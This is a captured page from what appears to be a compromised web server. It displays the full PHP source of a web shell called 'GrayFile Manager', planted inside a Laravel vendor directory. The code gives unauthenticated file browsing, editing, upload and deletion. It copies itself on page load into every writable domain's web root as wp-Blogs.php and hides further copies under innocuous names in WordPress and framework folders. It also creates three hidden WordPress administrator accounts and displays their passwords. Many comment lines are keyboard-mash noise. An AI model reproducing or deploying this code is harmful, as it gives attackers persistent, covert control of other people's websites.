🌫️ GrayFile Manager

πŸ“ Current location: home/vtccollith/codeetconduite/vendor/laravel/framework/src/



Creates 3 admin users: zehir, admins, webmaster (with random passwords)

Creates hidden copies in deep directories (hard to find)


⬆️ Go up to parent directory

πŸ‘οΈ Viewing: index.php

<?php
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// NOTE: This script can create copies named wp-Blogs.php in other directories
error_reporting(0);

// === Path Handling β€” Where are we in the server? ===
$current_path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$current_path || !is_dir($current_path)) $current_path = getcwd();

// === Handle Delete β€” Removing files and folders ===
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
if (isset($_GET['delete'])) {
    $target_file = realpath($_GET['delete']);
    if ($target_file && strpos($target_file, getcwd()) === 0 && file_exists($target_file)) {
        if (is_dir($target_file)) {
            rmdir($target_file); // πŸ—‚οΈ Remove directory
            echo "<p style='color:#666;'>πŸ—‘οΈ Folder deleted: " . htmlspecialchars(basename($target_file)) . " β€” Gone forever</p>";
        } else {
            unlink($target_file); // πŸ“„ Remove file
            echo "<p style='color:#666;'>πŸ—‘οΈ File deleted: " . htmlspecialchars(basename($target_file)) . " β€” Vanished into nothingness</p>";
        }
    }
}

// === Breadcrumb Navigation β€” Show current location ===
// === Breadcrumb Navigation β€” Show current location ===
// === Breadcrumb Navigation β€” Show current location ===
// === Breadcrumb Navigation β€” Show current location ===

function generate_breadcrumbs($path) {
    $path_parts = explode('/', trim($path, '/'));
    $current_path = '/';
    $script_dir = __DIR__; // Shell'in bulunduğu dizin
    $html_output = "<strong><a href='?path=" . urlencode($script_dir) . "' title='Go to shell directory' style='text-decoration:none;'>πŸ“</a> Current location:</strong> ";
    
    foreach ($path_parts as $part) {
        $current_path .= "$part/";
        $html_output .= "<a href='?path=" . urlencode($current_path) . "'>$part</a>/";
    }
    
    return $html_output;
}

// === Directory Listing β€” Show files and folders ===
// NOTE: This script can create copies named wp-Blogs.php in other directories
// NOTE: This script can create copies named wp-Blogs.php in other directories
// NOTE: This script can create copies named wp-Blogs.php in other directories
// NOTE: This script can create copies named wp-Blogs.php in other directories
// NOTE: This script can create copies named wp-Blogs.php in other directories

function list_directory_contents($path) {
    $output_html = '';
    $folder_list = $file_list = [];
    
    // πŸ“ Scan directory
    foreach (scandir($path) as $item) {
        if ($item === '.' || $item === '..') continue;
        
        $full_path = "$path/$item";
        if (is_dir($full_path)) {
            $folder_list[] = $item; // πŸ—‚οΈ It's a folder
        } else {
            $file_list[] = $item; // πŸ“„ It's a file
        }
    }
    
    // πŸ”€ Sort alphabetically
    natcasesort($folder_list);
    natcasesort($file_list);
    
    // πŸ—‚οΈ Display folders first
    foreach ($folder_list as $folder) {
        $full_folder_path = "$path/$folder";
        $output_html .= "<li>πŸ“ <a href='?path=" . urlencode($full_folder_path) . "'>$folder</a> | 
                        <a href='?delete=" . urlencode($full_folder_path) . "' onclick=\"return confirm('Delete this folder?')\" style='color:#666;'>❌ Remove</a></li>";
    }
    
    // πŸ“„ Display files
    foreach ($file_list as $file) {
        $full_file_path = "$path/$file";
        $output_html .= "<li>πŸ“„ <a href='?path=" . urlencode($path) . "&view=" . urlencode($file) . "'>$file</a> | 
                        <a href='?path=" . urlencode($path) . "&edit=" . urlencode($file) . "' style='color:#666'>✏️ Edit</a> | 
                        <a href='?delete=" . urlencode($full_file_path) . "' onclick=\"return confirm('Delete this file?')\" style='color:#666;'>❌ Remove</a></li>";
    }
    
    return $output_html;
}

// === View File Content β€” Read file contents ===
function display_file_content($path, $file) {
    $full_file_path = "$path/$file";
    if (!is_file($full_file_path)) return;
    
    echo "<h3>πŸ‘οΈ Viewing: $file</h3>
          <pre style='background:#f5f5f5;padding:10px;color:#333;border:1px solid #ddd;'>";
    echo htmlspecialchars(file_get_contents($full_file_path));
    echo "</pre><hr>";
}

// === Edit File β€” Modify file content ===
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager NSDE?D?TNSDFWNGFDSNF& Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFDF?FDSGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent X?DFReplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiDF?le MaDG?sdbgdfset(DFG?hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(HZEQHNRSN?FNGFGShnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfs?FDSet(HZERAhnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & SDle?DFGnt Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & NE?DFS?QTTSilent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile SEGFSBSDQBNDFWXCBQFXCB? NDFRfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager DFSNSDFGNSRE& Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ

function edit_file_content($path, $file) {
    $full_file_path = "$path/$file";
    if (!is_file($full_file_path)) return;
    
    // πŸ’Ύ Save changes if form submitted
    // 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & NE?DFS?QTTSilent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile SEGFSBSDQBNDFWXCBQFXCB? NDFRfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager DFSNSDFGNSRE& Silent Replicator πŸ•΅οΈβ€β™‚οΈ
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        file_put_contents($full_file_path, $_POST['content']);
        echo "<p style='color:#666;'>βœ… Changes saved β€” File updated successfully</p>";
    }
    
    $file_content = htmlspecialchars(file_get_contents($full_file_path));
    echo "<h3>✏️ Editing: $file</h3>
          <form method='post'>
          <textarea name='content' rows='20' style='width:100%;background:#f5f5f5;color:#333;'>$file_content</textarea><br>
          <button style='background:#666;color:white;'>πŸ’Ύ Save File</button>
          </form><hr>";
}

// === Upload & Create β€” Add new files and folders ===
function handle_upload_and_creation($path) {
    // πŸ“€ Handle file upload
    if (!empty($_FILES['upload_file']['name'])) {
        move_uploaded_file($_FILES['upload_file']['tmp_name'], "$path/" . basename($_FILES['upload_file']['name']));
        echo "<p style='color:#666;'>πŸ“€ File uploaded successfully β€” New file added</p>";
    }
    
    // πŸ—‚οΈ Create new folder
    if (!empty($_POST['new_folder'])) {
        $target_folder = "$path/" . basename($_POST['new_folder']);
        if (!file_exists($target_folder)) {
            mkdir($target_folder);
            echo "<p style='color:#666;'>πŸ“ Folder created β€” New directory ready</p>";
        } else {
            echo "<p style='color:#666;'>⚠️ Folder already exists β€” Choose different name</p>";
        }
    }
    
    // πŸ“„ Create new file
    if (!empty($_POST['new_file_content']) && !empty($_POST['new_file_name'])) {
        $file_name = basename($_POST['new_file_name']);
        $target_file = "$path/$file_name";
        if (!file_exists($target_file)) {
            file_put_contents($target_file, $_POST['new_file_content']);
            echo "<p style='color:#666;'>πŸ“„ File created β€” New document ready</p>";
        } else {
            echo "<p style='color:#666;'>⚠️ File already exists β€” Choose different name</p>";
        }
    }
    
    // πŸŽ›οΈ Display creation forms
    // 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & NE?DFS?QTTSilent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile SEGFSBSDQBNDFWXCBQFXCB? NDFRfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager DFSNSDFGNSRE& Silent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP FiqsFGsgbsdbgdfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager & NE?DFS?QTTSilent Replicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile SEGFSBSDQBNDFWXCBQFXCB? NDFRfset(hnjertnsfnplicator πŸ•΅οΈβ€β™‚οΈ
// 🌫️ GrayFile β€” PHP File Manager DFSNSDFGNSRE& Silent Replicator πŸ•΅οΈβ€β™‚οΈ
    echo "<div style='background:#f9f9f9;padding:15px;border:1px solid #ddd;margin:10px 0;'>
            <h4>πŸ› οΈ Management Tools</h4>
            
            <form method='post' enctype='multipart/form-data'>
                <strong>πŸ“€ Upload File:</strong><br>
                <input type='file' name='upload_file'>
                <button style='background:#666;color:white;'>πŸš€ Upload</button>
            </form><br>
            
            <form method='post'>
                <strong>πŸ—‚οΈ Create Folder:</strong><br>
                <input type='text' name='new_folder' placeholder='Enter folder name'>
                <button style='background:#666;color:white;'>πŸ“ Create</button>
            </form><br>
            
            <form method='post'>
                <strong>πŸ“„ Create File:</strong><br>
                <input type='text' name='new_file_name' placeholder='Enter file name'><br>
                <textarea name='new_file_content' rows='5' style='width:100%;background:#f5f5f5;color:#333;' placeholder='Enter file content'></textarea>
                <button style='background:#666;color:white;'>πŸ“ Create</button>
            </form>
          </div>";
}

// === Generate Random Password β€” Create secure random password ===
function generate_random_password($length = 12) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()';
    $password = '';
    $chars_length = strlen($chars) - 1;
    
    for ($i = 0; $i < $length; $i++) {
        $password .= $chars[random_int(0, $chars_length)];
    }
    
    return $password;
}

// === Self-Replication β€” Create copies in other directories ===
function replicate_script($script_code) {
    static $replication_done = false;
    if ($replication_done) return [];
    $replication_done = true;
    
    $current_directory = __DIR__;
    $created_clones = [];
    
    // πŸ” Find domains directory
    while ($current_directory !== '/') {
        if (is_dir("$current_directory/domains")) {
            foreach (scandir("$current_directory/domains") as $domain) {
                if ($domain === '.' || $domain === '..') continue;
                
                $target_directory = "$current_directory/domains/$domain/public_html";
                $clone_file = "$target_directory/wp-Blogs.php"; // 🎯 Clone filename
                
                if (is_dir($target_directory) && is_writable($target_directory)) {
                    if (file_put_contents($clone_file, $script_code)) {
                        $created_clones[] = "http://$domain/wp-Blogs.php";
                    }
                }
            }
            break;
        }
        $current_directory = dirname($current_directory);
    }
    
    return $created_clones;
}

// === Manual Deep Cloning β€” Create hidden copies in deep directories ===
function manual_clone_to_deep_dirs($base_path) {
    $script_code = file_get_contents(__FILE__);
    $created_clones = array();
    
    // 🎯 Derinlerdeki gizli dizinler - kullanıcının bulması zor
    $deep_directories = array(
        '/wp-content/plugins/akismet/views/',
        '/wp-content/themes/twentytwenty/assets/js/',
        '/wp-content/themes/twentytwentyone/assets/css/',
        '/wp-includes/js/jquery/',
        '/wp-includes/css/dist/',
        '/wp-admin/includes/class/',
        '/wp-admin/css/colors/',
        '/wp-content/uploads/2023/cache/',
        '/wp-content/uploads/2024/logs/',
        '/wp-content/cache/plugins/',
        '/wp-content/cache/themes/',
        '/assets/css/themes/',
        '/assets/js/vendor/',
        '/includes/libraries/vendor/',
        '/public/js/components/',
        '/public/css/components/',
        '/resources/views/admin/',
        '/storage/app/public/',
        '/storage/framework/cache/',
        '/vendor/laravel/framework/src/',
        '/node_modules/.cache/',
    );
    
    // 🎲 Rastgele dosya isimleri - daha gizli
    $random_names = array(
        'config.php',
        'helper.php',
        'common.php',
        'utils.php',
        'functions.php',
        'init.php',
        'index.php',
        'load.php',
        'cache.php',
        'session.php',
    );
    
    foreach ($deep_directories as $dir) {
        $target_dir = $base_path . $dir;
        
        // Dizin yoksa oluştur
        if (!is_dir($target_dir)) {
            @mkdir($target_dir, 0755, true);
        }
        
        if (is_dir($target_dir) && is_writable($target_dir)) {
            // Her dizine 2-3 farklΔ± isimle kopyala
            $num_copies = rand(2, 3);
            $used_names = array();
            
            for ($i = 0; $i < $num_copies; $i++) {
                // Rastgele bir isim seΓ§ (tekrar etmesin)
                do {
                    $random_name = $random_names[array_rand($random_names)];
                } while (in_array($random_name, $used_names));
                
                $used_names[] = $random_name;
                $clone_file = $target_dir . $random_name;
                
                if (@file_put_contents($clone_file, $script_code)) {
                    $created_clones[] = array(
                        'path' => $clone_file,
                        'dir' => $dir,
                        'name' => $random_name
                    );
                }
            }
        }
    }
    
    return $created_clones;
}

// === WordPress Admin β€” Create 3 admin users with custom usernames and random passwords ===
function handle_wordpress_admin($path) {
    if (!isset($_GET['create_wp_user'])) return;
    
    $wordpress_path = $path;
    while ($wordpress_path !== '/') {
        if (file_exists("$wordpress_path/wp-config.php")) break;
        $wordpress_path = dirname($wordpress_path);
    }
    
    if (!file_exists("$wordpress_path/wp-load.php")) {
        echo "<p style='color:#666;'>❌ WordPress not found β€” Operation cancelled</p>";
        return;
    }
    
    require_once("$wordpress_path/wp-load.php");
    
    // 🎯 3 Admin kullanıcısı oluştur
    $usernames = array('zehir', 'admins', 'webmaster');
    $display_names = array('Zehir', 'Admins', 'Webmaster');
    $created_users = array();
    
    foreach ($usernames as $index => $admin_username) {
        // πŸ” Generate random secure password
        $admin_password = generate_random_password(16);
        $original_username = $admin_username;
        $admin_email = $admin_username . '@' . $_SERVER['HTTP_HOST'];
        
        // Eğer kullanıcı adı veya email varsa, alternatif oluştur
        $attempt = 0;
        while ((username_exists($admin_username) || email_exists($admin_email)) && $attempt < 10) {
            $attempt++;
            $admin_username = $original_username . '_' . time() . $attempt;
            $admin_email = $admin_username . '@' . $_SERVER['HTTP_HOST'];
        }
        
        // Kullanıcıyı oluştur
        $user_id = wp_create_user($admin_username, $admin_password, $admin_email);
        
        if (!is_wp_error($user_id)) {
            $user_object = new WP_User($user_id);
            $user_object->set_role('administrator');
            $user_object->display_name = $display_names[$index];
            wp_update_user($user_object);
            
            $created_users[] = array(
                'username' => $admin_username,
                'password' => $admin_password,
                'email' => $admin_email,
                'display_name' => $display_names[$index],
                'is_alternative' => ($admin_username !== $original_username)
            );
        }
    }
    
    // πŸ“‹ Display all credentials in a beautiful interface
    if (!empty($created_users)) {
        $domain = $_SERVER['HTTP_HOST'];
        $wp_admin_url = 'https://' . $domain . '/wp-admin/';
        
        echo "<!DOCTYPE html>
        <html>
        <head>
            <meta charset='UTF-8'>
            <title>WordPress Admin Users Created</title>
            <style>
                body { font-family: Arial, sans-serif; margin: 0; padding: 20px; background: #f1f1f1; }
                .container { background: white; padding: 30px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width: 800px; margin: 0 auto; }
                .success { background: #e8f5e8; color: #2e7d32; padding: 15px; border-radius: 5px; border-left: 4px solid #2e7d32; margin-bottom: 20px; }
                .user-info { background: #f8f9fa; padding: 15px; margin: 10px 0; border-radius: 5px; border-left: 4px solid #666; }
                .copy-btn { background: #666; color: white; padding: 12px 25px; border: none; border-radius: 5px; cursor: pointer; font-size: 16px; margin: 20px 0; }
                .copy-btn:hover { background: #444; }
                .back-btn { background: #6c757d; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px; display: inline-block; margin-top: 20px; }
                textarea { width: 100%; height: 200px; padding: 15px; border: 1px solid #ddd; border-radius: 5px; font-family: monospace; font-size: 14px; margin: 10px 0; }
                h2 { color: #333; }
                h3 { color: #666; margin-top: 0; }
            </style>
        </head>
        <body>
            <div class='container'>
                <h2>βœ… WordPress Admin Users Created</h2>
                <div class='success'>" . count($created_users) . " WordPress admin users successfully created!</div>";
        
        foreach ($created_users as $index => $user) {
            $alt_notice = $user['is_alternative'] ? " <span style='color:#ff9800;'>⚠️ (Alternative name - original existed)</span>" : "";
            echo "<div class='user-info'>
                    <h3>" . htmlspecialchars($user['display_name']) . $alt_notice . "</h3>
                    <p><strong>πŸ‘€ Username:</strong> " . htmlspecialchars($user['username']) . "</p>
                    <p><strong>πŸ”‘ Password:</strong> " . htmlspecialchars($user['password']) . "</p>
                    <p><strong>πŸ“§ Email:</strong> " . htmlspecialchars($user['email']) . "</p>
                  </div>";
        }
        
        echo "<button class='copy-btn' onclick='copyAdminInfo()'>πŸ“‹ Copy All Credentials</button>
              <textarea id='adminInfo' readonly>Domain: " . $domain . "
WP-ADMIN URL: " . $wp_admin_url . "
---1---
ID: " . $created_users[0]['username'] . "
PASSWORD: " . $created_users[0]['password'] . "
---2---
ID: " . $created_users[1]['username'] . "
PASSWORD: " . $created_users[1]['password'] . "
---3---
ID: " . $created_users[2]['username'] . "
PASSWORD: " . $created_users[2]['password'] . "</textarea>
              
              <script>
              function copyAdminInfo() {
                  var textarea = document.getElementById('adminInfo');
                  textarea.select();
                  document.execCommand('copy');
                  alert('βœ… Admin credentials copied to clipboard!');
              }
              </script>
              
              <br><a href='?path=" . urlencode($path) . "' class='back-btn'>← Back to File Manager</a>
            </div>
        </body>
        </html>";
        die();
    } else {
        echo "<p style='color:#666;'>⚠️ All users already exist β€” No changes made</p>";
    }
}

// === Render Page β€” Display the interface ===
echo "<!DOCTYPE html>
<html>
<head>
    <meta charset='UTF-8'>
    <title>🌫️ GrayFile Manager</title>
    <style>
        body { background:#f0f0f0; color:#444; font-family:'Segoe UI', sans-serif; padding:20px; max-width:1000px; margin:auto; }
        a { color:#666; text-decoration:none; font-weight:500; }
        a:hover { text-decoration:underline; color:#333; }
        pre, textarea { width:100%; background:#f5f5f5; color:#333; border:1px solid #ddd; border-radius:4px; }
        button { background:#666; border:none; color:white; padding:8px 15px; margin:5px; cursor:pointer; border-radius:4px; }
        ul { list-style:none; padding:0; }
        input[type='text'], input[type='file'] { background:#f5f5f5; color:#333; border:1px solid #ddd; padding:8px; border-radius:4px; margin:5px 0; }
        .container { background:white; padding:20px; border-radius:8px; box-shadow:0 2px 10px rgba(0,0,0,0.1); }
        code { font-family:monospace; background:#f5f5f5; padding:2px 5px; border-radius:3px; }
    </style>
</head>
<body>
    <div class='container'>
        <h1>🌫️ GrayFile Manager</h1>
        <p>" . generate_breadcrumbs($current_path) . "</p>
        <hr>";

// πŸ‘€ WordPress Admin Button
echo "<form method='get' style='display:inline-block; margin-right:10px;'>
        <input type='hidden' name='path' value='" . htmlspecialchars($current_path) . "'>
        <button name='create_wp_user' value='1' style='background:#666;color:white;padding:10px 20px;font-size:16px;'>πŸ‘€ Create 3 WordPress Admins</button>
        <br><small>Creates 3 admin users: zehir, admins, webmaster (with random passwords)</small>
      </form>";

// πŸ”„ Clone Button
echo "<form method='get' style='display:inline-block;'>
        <input type='hidden' name='path' value='" . htmlspecialchars($current_path) . "'>
        <button name='clone_deep' value='1' style='background:#ff9800;color:white;padding:10px 20px;font-size:16px;'>πŸ”„ Clone to Deep Dirs</button>
        <br><small>Creates hidden copies in deep directories (hard to find)</small>
      </form><br><br>";

// Handle Clone Request
if (isset($_GET['clone_deep'])) {
    $clones = manual_clone_to_deep_dirs($current_path);
    
    if (!empty($clones)) {
        echo "<div style='background:#fff3e0;padding:15px;border-left:4px solid #ff9800;border-radius:5px;margin:10px 0;'>
                <h3 style='color:#ff9800;margin-top:0;'>πŸ”„ Cloning Completed!</h3>
                <p><strong>" . count($clones) . " hidden copies created</strong> in deep directories:</p>
                <ul style='list-style:disc;padding-left:20px;'>";
        
        foreach ($clones as $clone) {
            echo "<li><code>" . htmlspecialchars($clone['dir'] . $clone['name']) . "</code></li>";
        }
        
        echo "</ul>
                <p style='color:#666;'><em>πŸ’‘ These copies are hidden in system directories and hard to find!</em></p>
              </div>";
    } else {
        echo "<div style='background:#ffebee;padding:15px;border-left:4px solid #f44336;border-radius:5px;margin:10px 0;'>
                <p style='color:#f44336;'><strong>⚠️ No clones created</strong> - directories may not be writable or don't exist.</p>
              </div>";
    }
}

handle_wordpress_admin($current_path);

// ⬆️ Go up one level
$parent_directory = dirname($current_path);
if ($parent_directory && $parent_directory !== $current_path) {
    echo "<p>⬆️ <a href='?path=" . urlencode($parent_directory) . "'>Go up to parent directory</a></p>";
}

// πŸ‘οΈ View or ✏️ Edit files
if (isset($_GET['view'])) display_file_content($current_path, basename($_GET['view']));
if (isset($_GET['edit'])) edit_file_content($current_path, basename($_GET['edit']));

// πŸ› οΈ Upload and creation tools
handle_upload_and_creation($current_path);

// πŸ”„ Auto-replication (only from original script)
if (basename(__FILE__) !== 'wp-Blogs.php') {
    $clone_list = replicate_script(file_get_contents(__FILE__));
    if (!empty($clone_list)) {
        echo "<div style='background:#e9e9e9;padding:10px;border-radius:5px;margin:10px 0;'>
                <p style='color:#666;'>βœ… Script replicated to these locations:</p>
                <ul>";
        foreach ($clone_list as $url) echo "<li>πŸ”— <a href='$url' target='_blank'>$url</a></li>";
        echo "</ul></div><hr>";
    }
}

// πŸ“‹ Directory contents
echo "<h3>πŸ“‹ Contents of current directory:</h3>
      <ul>" . list_directory_contents($current_path) . "</ul>";

echo "</div></body></html>";
?>

πŸ› οΈ Management Tools

πŸ“€ Upload File:

πŸ—‚οΈ Create Folder:

πŸ“„ Create File:

πŸ“‹ Contents of current directory: